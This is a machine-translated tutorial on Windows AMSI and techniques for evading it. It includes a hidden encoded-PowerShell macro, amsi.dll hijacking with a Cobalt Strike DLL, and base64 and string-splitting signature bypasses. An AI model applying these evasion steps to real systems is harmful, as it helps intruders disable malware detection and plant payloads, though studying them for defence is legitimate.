Shulou(Shulou.com)06/03 Report--

This article mainly introduces "how to understand anti-malware scanning interface countermeasures learning". In daily operation, I believe many people have doubts about how to understand anti-malware scanning interface countermeasures learning problems. The editor consulted all kinds of materials and sorted out simple and easy-to-use operation methods. I hope it will be helpful for you to answer the questions of "how to understand anti-malware scanning interface countermeasures learning". Next, please follow the editor to study!

We can know that the Windows antivirus scanning interface (AMSI) is a general interface standard, which is open to antivirus products.

This interface support allows you to scan not only scripts, code, commands or cmdlet, but also any file, memory or data stream, such as strings, instant messages, images, videos, etc.

I think this Amsi (Antimalware Scan Interface) is mainly aimed at scripts. at present, scripts are gradually becoming a weapon of targeted attacks, and scripts such as JavaScript,VBScript and PowerShell provide great benefits for us to attack. They are legitimate software on the system, and the execution files are loaded in memory without dropping.

Scripting languages are more confusing than Pe files such as exe, can be loaded and executed from the remote or registry, and the dynamic nature of scripts allows us to easily evade detection and analysis of anti-malware and similar endpoint protection products. And the execution file can be loaded directly in memory without dropping.

Then Windows 10 can provide the ability to kill scripts through the Anti-malware scanning Interface (AMSI) and view the contents of the scripts in the same way as the script interpreter, so that we can view our attack scripts in an unencrypted and unconfused form.

At present, in the Microsoft documentation, we can know

AMSI functionality has been integrated into these components of Windows 10.

User account control or UAC (EXE,COM,MSI or ActiveX) PowerShell (scripting, interactive use and dynamic code evaluation) Windows scripting host (wscript.exe and cscript.exe) JavaScript and VBScriptOffice VBA macro Amsi (Antimalware Scan Interface) workflow.

As an application developer, you can actively participate in malware

Specifically, you can help protect your customers from

Script-based malware, and from non-traditional avenues of

Cyberattack.

By way of an example, let's say that your application is scriptable:

It accepts arbitrary script, and executes it via a scripting engine.

At the point when a script is ready to be supplied to the scripting

Engine, your application can call the Windows AMSI APIs to request a

Scan of the content. That way, you can safely determine whether or not

The script is malicious before you decide to go ahead and execute it.

This is true even if the script was generated at runtime. Script

(malicious or otherwise), might go through several passes of

De-obfuscation. But you ultimately need to supply the scripting engine

With plain, un-obfuscated code. And that's the point at which you

Invoke the AMSI APIs.

We can see the workflow in Amsi from the Microsoft documentation.

If there is an application that accepts any script and executes it through the script engine.

Then antivirus software can call amsi to check and kill the script.

Some students may have questions: antivirus software can not rely on amsi killing scripts? The point of amsi is that whether our malicious script goes through multiple obfuscation or remote execution of amsi, it can be detected before the script is injected into memory. There is no way for ordinary static antivirus software.

We can understand this by looking at the workflow flow chart given by Microsoft documentation:

In fact, it is not difficult to understand, first of all, we need to know how our malicious script is injected into memory to execute.

When bypass antivirus software, our scripts must be obfuscated, but no matter what kind of obfuscation we do to inject memory, it must be pure and clear code, otherwise the script engine will not be able to understand and execute our malicious scripts.

So the problem is that amsi scans and kills before the script is decrypted into injected memory. That's what calling amsi is all about.

We can call powershell to execute our malicious code to better understand Amsi

A simple test for AMSI is to type the string amsiutils commonly used in AMSI bypass at the PowerShell prompt -. If the endpoint security product supports AMSI and the string is detected, the PowerShell prompt displays an error indicating that the command entered is malicious.

PS C:\ Users\ (123223Li) > amsiutils location line: 1 character: 1 + amsiutils+ ~ this script contains malicious content and has been blocked by your antivirus software. + CategoryInfo: ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId: ScriptContainedMaliciousContent

Good. Amsi killed and stopped power shell from carrying out orders.

Let's deal with amsiutils, such as our commonly used base64 encryption and XOR coding techniques.

$bytes = [convert]:: FromBase64String ('YW1zaXV0aWxz') # YW1zaXV0aWxz is base64 encoding for amsiutils $string =-join ($bytes |% {[char] ($_-bxor 0x33)}) # encode XOR iex $string # execute command

Then we use powershell ISE execution to simulate our implementation of direct memory loading without file landing in actual combat.

Not surprisingly, amsi detected and intercepted powershell to execute our script.

We can use the following command to view the killing results in amsi

Get-WinEvent 'microssoft-windows-windows defender/operational' | Where-Object id-EQ 1116 | format-list

Of course, amsi can also detect vba and Javascript.

In practice, using macros to attack (phishing) is also a common method, so we need to know the detection process of macro files by amsi.

We can see in the Microsoft documentation

The user receives a document containing a (malicious) macro, which

Evades static antivirus software scans by employing techniques such as

Obfuscation, password-protected files, or other. The user then opens

The document containing the (malicious) macro. If the document opens

In Protected View, then the user clicks Enable Editing to exit

Protected View. The user clicks Enable Macros to allow macros to run.

As the macro runs, the VBA runtime uses a circular buffer to log [1]

Data and parameters related to calls to Win32, COM, and VBA APIs. When

Specific Win32 or COM APIs that are considered high risk (also known

As triggers) [2] are observed, macro execution is halted, and the

Contents of the circular buffer are passed to AMSI. The registered

AMSI anti-malware service provider responds with a verdict to indicate

Whether or not the macro behavior is malicious. If the behavior is

Non-malicious, then macro execution proceeds. Otherwise, if the

Behavior is malicious, then Microsoft Office closes the session in

Response to the alert [3], and the AV can quarantine the file.

A flow chart is also given in the Microsoft documentation.

By reading and understanding Microsoft documentation, we can know amsi's process of detecting and killing macros:

1.word, etc., phishing file add-in macros

When the 2.VBA macro runs, the runtime will have a circular buffer to record the data and parameters calling Win32,COM, VBA, and so on api.

3.amsi monitors the situation in the buffer, and once our macro invokes some sensitive API or some sensitive data interaction, it triggers the amsi trigger.

4.amsi stops macro execution and fetches content delivery from the circular buffer.

5.amsi takes the content out of the loop buffer and passes it to the antivirus software.

6. The antivirus software gets the data and determines whether the macro is malicious.

6. If the behavior is harmless, the macro can be executed. Otherwise, close the macro session and issue a response alert and process the malicious file.

We can take a look at an example to understand the process of amsi detection and killing vba:

Like powershell, we also use remote loading of powershell malicious code. This is closer to the actual combat.

1. Use cobat Strike to generate our malicious code

two。 Use macros to remotely load our malicious code

# remotely load ps1 Sub AutoOpen () Call Shell ("powershell-Sta-Nop-Window Hidden-EncodedCommand shell") End Sub using macro call powershell

You can go online without turning on amsi!

Cannot be executed with amsi turned on

Can amsi be called by all antivirus software? It's not!

Amsi is available after Windows 10 and Windows Server 2016, and then not all antivirus software can call the amsi interface. Basically, it's not allowed in China.

There is a project on github that records antivirus software that can call amsi.

Https://github.com/subat0mik/whoamsi/wiki/Which-Endpoint-Protection-is-Using-AMSI%3F

Anti-soft confrontation is a process of dynamic confrontation, there are new technologies in anti-virus, there are new methods to avoid killing. Only when it is ripe enough to kill soft can it be better to avoid killing.

Amsi solves the attack method of remote loading and execution of malicious scripts without file landing. Take a look at it and learn the techniques of bypass AMsi from you in two days.

We have learned some knowledge of Antimalware Scan Interface (AMSI). As a penetration test, we understand that killing soft is to better avoid killing.

In the fight against antivirus software, on a large level:

One is to destroy the antivirus software, so that it can not operate properly; the other is to bypass the antivirus software so that it can not be detected.

On a small level:

Static free kill dynamic free kill sandboxie confrontation and so on.

We mentioned earlier that AMSI is an open interface of windows, and registered antivirus software can complete monitoring and killing by calling the amsi interface.

Since it is an interface, can we make it impossible for antivirus software to call this amsi interface to bypass?

First of all, we need to know how antivirus software calls amsi:

Two methods of calling amsi interface are given in Microsoft documentation.

There are two ways in which you can interface with AMSI in your application.

By using the AMSI Win32 APIs. By using the AMSI COM interfaces.

They are:

1. By using AMSI Win32 API

Functions that your application can call to request a scan. AMSI provides the following functions. # function, the application can provide the following function Function # function Description # function AmsiCloseSession Close a session that was opened by AmsiOpenSession.# to close the open session AmsiInitialize Initialize the AMSI API.# initialization AMSI API by calling amsi,amsi. AmsiOpenSession Opens a session within which multiple scan requests can be correlated.# opens multiple scan requests associated in a session. AmsiResultIsMalware Determines if the result of a scan indicates that the content should be blocked.# confirmed that the scan results show that the content should be masked AmsiScanBuffer Scans a buffer-full of content for malware. # scan for full buffer of malware. AmsiScanString Scans a string for malware.# malware scans a string. Instance AMSI API deleted by AmsiUninitialize Remove the instance of the AMSI API that was originally opened by AmsiInitialize.#

The calling method of each function can be checked by Microsoft if you are interested.

Https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions

two。 By using the AMSI COM interface

The IAmsiStream interface (amsi.h) is called to represent a stream to be scanned, as shown in the Microsoft documentation.

Https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-iamsistream-getattributeInheritance The IAmsiStream interface inherits from the IUnknowninterface. IAmsiStream also has these types of members: Methods Methods The IAmsiStream interface has these methods. METHODS Method Description IAmsiStream::GetAttribute Returns arequested attribute from the stream. IAmsiStream::Read Requests abuffer-full of content to be read. Requirements REQUIREMENTS Minimum supported client Windows 10 [desktop apps only] Minimum supported server Windows Server 2016 [desktop apps only] TargetPlatform Windows Header amsi.h

Then we know how to call amsi above, but you have to register to call amsi, so we also have to see how amsi is registered:

As a creator of antimalware products, you can choose to author and

Register your own in-process COM server (a DLL) to function as an AMSI

That AMSI provider must implement the IAntimalwareProvider

Interface, and it must run in-process.

Note that, after Windows 10, version 1709 (the Fall 2017 Creators'

Update), your AMSI provider DLL may not work if it depends upon other

DLLs in its path to be loaded at the same time. To prevent DLL

Hijacking, we recommend that your provider DLL load its dependencies

Explicitly (with a full path) using secure LoadLibrary calls, or equivalent.

We recommend this instead of relying on the LoadLibrary search behavior.

The section below shows how to register your AMSI provider. For full

Sample code showing how to author your own AMSI provider DLL, see the

IAntimalwareProvider interface sample application.

Register your provider DLL with AMSI To begin with, you need to ensure

That these Windows Registry keys exist.

HKLMSOFTWAREMicrosoftAMSIProviders HKLMSOFTWAREClassesCLSID An

AMSI provider is an in-process COM server. Consequently, it needs to

Register itself with COM. COM classes are registered in

HKLMSOFTWAREClassesCLSID.

Of course, examples are also given in the Microsoft documentation, but we are going to be free from killing and understand some of the necessary things.

In the Microsoft documentation, we can know

Note that, after Windows 10, version 1709 (the Fall 2017 Creators'

Update), your AMSI provider DLL may not work if it depends upon other

DLLs in its path to be loaded at the same time. To prevent DLL

Hijacking, we recommend that your provider DLL load its dependencies

Explicitly (with a full path) using secure LoadLibrary calls, orequivalent.

We recommend this instead of relying on the LoadLibrarysearch behavior.search behavior.

Microsoft said:

In other words, there are examples of dll hijacking. Let's recreate the history of amsi.dll hijacking.

Recurrence of hijacked amsi.dll bypass amsi

Let's take powershell as an example:

After learning the basics above, we can know the process of calling amsi in powershell.

When you open a PowerShell, poweershell loads the AMSI.DLL from disk into the address space of the powershell. The function AmsiScanBuffer () in AMSI.DLL is then called to scan the contents of the script. Any provided script content in PowerShell is sent to AmsiScanBuffer () for detection and killing before execution. AmsiScanBuffer () will then check with the registration antivirus to determine if the signature has been created. If the content is considered malicious, it will be processed

We know that powershell loads amsi.dll, so there is a hijackable point. Is to hijack amsi.dll to bypass amsi.

DLL (Dynamic Link

Library) file is a dynamic link library file, also known as "application extension", is a software file type. In Windows, many applications are not a complete executable file, they are divided into some relatively independent dynamic link libraries, namely DLL files, placed in the system. When we execute a program, the corresponding DLL file is called. An application can use multiple DLL files, and a DLL file may also be used by different applications. Such DLL files are called shared DLL files.

If the absolute path of the DLL is not specified when the process tries to load a DLL, the Windows will try to search these specific directories sequentially to find the DLL. As long as the hacker can put the malicious DLL in the directory that takes precedence over the normal DLL, he can trick the system into loading the malicious DLL first to achieve "hijacking".

The hijacking of dll needs to meet two conditions (in this case, the version above win7)

1. The target DLL is not in the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs registry

All DLL files under this item are forbidden to be called from the directory where exe itself is located, but only from the system directory, that is, the SYSTEM32 directory.

If dll is not in the KnownDLLs registry, it will be loaded in the following order

1. The application directory corresponding to the process (which can be understood as the program installation directory such as C:\ ProgramFiles\ uTorrent) 2. System directory (i.e.% windir%system32); 3.16-bit system directory (i.e.% windir%system); 4.Windows directory (i.e.% windir%); 5. Current directory (the directory where a file is running, such as C:\ Documents and Settings\ Administrator\ Desktop\ test); 6. Each directory in the PATH environment variable

two。 The target file directory or the target that we need to write to dll. We have writable access.

By default, if the software is installed in the root directory of disk c instead of c:\ Program Files, the authenticated user has write access to that directory, and software such as perl,python,ruby is usually added to the path variable. The attacker can write malicious DLL in the current directory and will be caught by rerunning the exe program.

Ok We know that powershell is amsi.dll to monitor the kill script, we can use Process Mointor to monitor which API calls are made by the powershell process while running, open / create registry entries, load DLL, etc.

Set the filter rules in process to view processes with only powershell.exe.

By applying the rules, we can see all calls made only by the powershell.exe process.

There are too many events, so we can add a rule to see the events that are simply calling amsi.dll in powershell.

Looking at the output of ProcMon, we found the first possible DLL hijacking.

We jump directly to the path of the file.

You can see that there is no amsi.dll in the path, so we can write a malicious amsi.dll into it. Here we use the malicious dll generated by cobalt strike to demonstrate, of course, we also have a kill-free treatment for this dll.

Rename the generated malicious dll to amsi.dll and pull it into the file path above us.

Then open powershell and you can see that there is an error in powershell, and then Cobalt strike goes online (open powershell and go online). But it doesn't matter, generally in actual combat, we will deal with our malicious dll to achieve the function of the target dll and execute our malicious functions to go online, not much here.

There is also a hijacking point in the process of powershell loading amsi.dll, that is:

C:\ Windows\ System32\ WindowsPowerShell\ v1.0

Students who are interested can find out for themselves.

Destroy amsi.dll bypass Asmi

A foreign brother wrote a script to directly destroy amsi to carry out orders.

We need to know something about the relationship between powershell and amsi.dll when we reproduce his technique:

Amsi.dll loads an amsi.dll for each powershell.exe process.

Then because the ps1 on that brother's github is gone, I revised it and uploaded it to my GitHub for later use.

Https://github.com/dnsil/bypassAsmi

It is not difficult to use the technique, just load and execute it directly.

But windwos defender has reported the drug, so just take care of it yourself.

Then there is another point to note here. Open a powershell.exe and load an amsi.dll.

Different powershell.exe have their own amsi.dll daemons, and the above script will only destroy the amsi.dll of the powershell.exe process at run time, and will still load amsi.dll if you open another powershell.

We can look at an example:

The script is executed in powershell ISE, and you can see the successful execution of "amsiscanbuffer", but not in powershell.exe, prompting amsi to kill it.

Er, let's take a look at the situation in powershel ISE.

Ha, it's better to be rigorous.

If you have anything else, you can test it yourself.

The second is to bypass amsi

AMSI uses "string-based" detection to determine whether the PowerShell code is malicious.

Example: "amsicanbuffer"

You can see that "amsicanbuffer" triggered the amsi,amsi surveillance to kill.

As we all know, string detection (signature) is very easy to bypass, just don't literally use forbidden strings. Use encoding or split it into multiple blocks, and then reassemble it to bypass. So let's see if we can bypass amsi surveillance.

PS C:\ Users\ (123223Li) > $a = "amsis" PS C:\ Users\ (123223Li) > $b = "canbuffer" PS C:\ Users\ (123223Li) > $c = $a + $bPS C:\ Users\ (123223Li) > $c

Define a variable an assignment "amsis" define a variable b assignment "canbuffer"

Then define a variable c that is assigned to aqb, then c = aqb = "amsis" + "canbuffer" = amsiscanbuffer

Then execute the variable c ok directly. Let's see if we can bypass amsi.

Ha ha ha ha

I think so.

Sure enough, of course, this doesn't mean anything, because a malicious script has more than a few signatures, and the real difficulty is from positioning to modification to killing-free, where the conversion of variables is a bypass point.

Let's take a look at the next common technique, string segmentation: amsicanbuffer

PS C:\ Users\ (123223Li) > "amsican" + "buffer" amsicanbuffer

It can also be bypassed.

The top is bypassed, the bottom is not bypassed, compare.

Let's take a look at the third common bypass technique, base64 coding.

Let's encode it with base64:

Then use powershell to decode the base64 and execute it. Here for everyone to understand, I will carry out the order step by step

PS C:\ Users\ (123223Li) > $a = [Convert]:: FromBase64String ("YW1zaXNjYW5idWZmZXI=") / / Decoding base64PS C:\ Users\ (123223Li) > $b = [Text.encoding]:: UTF8.GetString ($a) / / Utf-8 transform PS C:\ Users\ (123223Li) > $b / / execute $bamsiscanbuffer

You can also bypass amsi.

Note here that [Convert]:: FromBase64String ("YW1zaXNjYW5idWZmZXI=") decoded powershell is not recognized, so we need to convert it.

As a digression here, we can take a look at powershell's Trojan horse in Cobalt strike.

You can see that it is also encoded by base64, but why can't you avoid killing? It is not difficult to avoid killing a single character, but a malicious script is far more than a few signatures, from positioning to modification to killing-free is the real difficulty, of course, dynamic, sandboxie and other things are not considered here.

String to kill-free but also decimal coding, hexadecimal coding, hex coding, encryption, ox and other techniques, can also be used repeatedly and so on here one by one demonstration, kill-free is a dynamic confrontation process.

Come on, fellow travelers.

Let me show you the static all-zero ps1, which is also based on the above.

At this point, the study on "how to understand the anti-malware scanning interface against learning" is over. I hope to be able to solve everyone's doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.